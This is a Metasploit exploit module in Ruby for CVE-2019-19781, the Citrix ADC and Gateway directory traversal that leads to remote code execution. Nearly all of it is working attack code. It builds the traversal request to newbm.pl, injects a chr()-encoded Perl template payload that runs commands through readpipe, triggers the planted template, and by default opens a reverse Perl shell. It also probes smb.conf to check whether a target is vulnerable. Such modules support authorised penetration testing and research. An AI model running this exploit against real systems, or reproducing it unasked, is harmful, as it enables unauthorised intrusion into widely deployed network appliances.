## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Citrix ADC Remote Code Execution', 'Description' => %q( An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. ), 'Author' => [ 'RAMELLA Sébastien' # https://www.pirates.re/ ], 'References' => [ ['CVE', '2019-19781'], ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'], ['EDB', '47901'], ['EDB', '47902'] ], 'DisclosureDate' => '2019-12-17', 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl meterpreter' } }, 'Targets' => [ ['Unix (remote shell)', 'Type' => :cmd_shell, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl', 'DisablePayloadHandler' => 'false' } ], ['Unix (command-line)', 'Type' => :cmd_generic, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', 'DisablePayloadHandler' => 'true' } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ OptAddress.new('RHOST', [true, 'The target address']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('RHOSTS') end def execute_command(command, opts = {}) filename = Rex::Text.rand_text_alpha(16) nonce = Rex::Text.rand_text_alpha(6) request = { 'method' => 'POST', 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'), 'headers' => { 'NSC_USER' => '../../../netscaler/portal/templates/' + filename, 'NSC_NONCE' => nonce }, 'vars_post' => { 'url' => 'http://127.0.0.1', 'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]", 'desc' => 'desc', 'UI_inuse' => 'RfWeb' }, 'encode_params' => false } begin received = send_request_cgi(request) rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN print_error('Unable to connect on the remote target.') end return false unless received if received.code == 200 vprint_status("#{received.get_html_document.text}") sleep 2 request = { 'method' => 'GET', 'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'), 'headers' => { 'NSC_USER' => nonce, 'NSC_NONCE' => nonce } } ## Trigger to gain exploitation. begin send_request_cgi(request) received = send_request_cgi(request) rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN print_error('Unable to connect on the remote target.') end return false unless received return received end return false end def get_chr_payload(command) chr_payload = command i = chr_payload.length output = "" chr_payload.each_char do | c | i = i - 1 output << "chr(" << c.ord.to_s << ")" if i != 0 output << " . " end end return output end def check begin received = send_request_cgi( "method" => "GET", "uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf') ) rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN print_error('Unable to connect on the remote target.') end if received && received.code != 200 return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def exploit unless check.eql? Exploit::CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'The target is not exploitable.') end else print_good('The target appears to be vulnerable.') end case target['Type'] when :cmd_generic print_status("Sending #{datastore['PAYLOAD']} command payload") vprint_status("Generated command payload: #{payload.encoded}") received = execute_command(payload.encoded) if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic") print_warning('Dumping command output in parsed http response') print_good("#{received.get_html_document.text}") else print_warning('Empty response, no command output') return end when :cmd_shell print_status("Sending #{datastore['PAYLOAD']} command payload") vprint_status("Generated command payload: #{payload.encoded}") execute_command(payload.encoded) end end end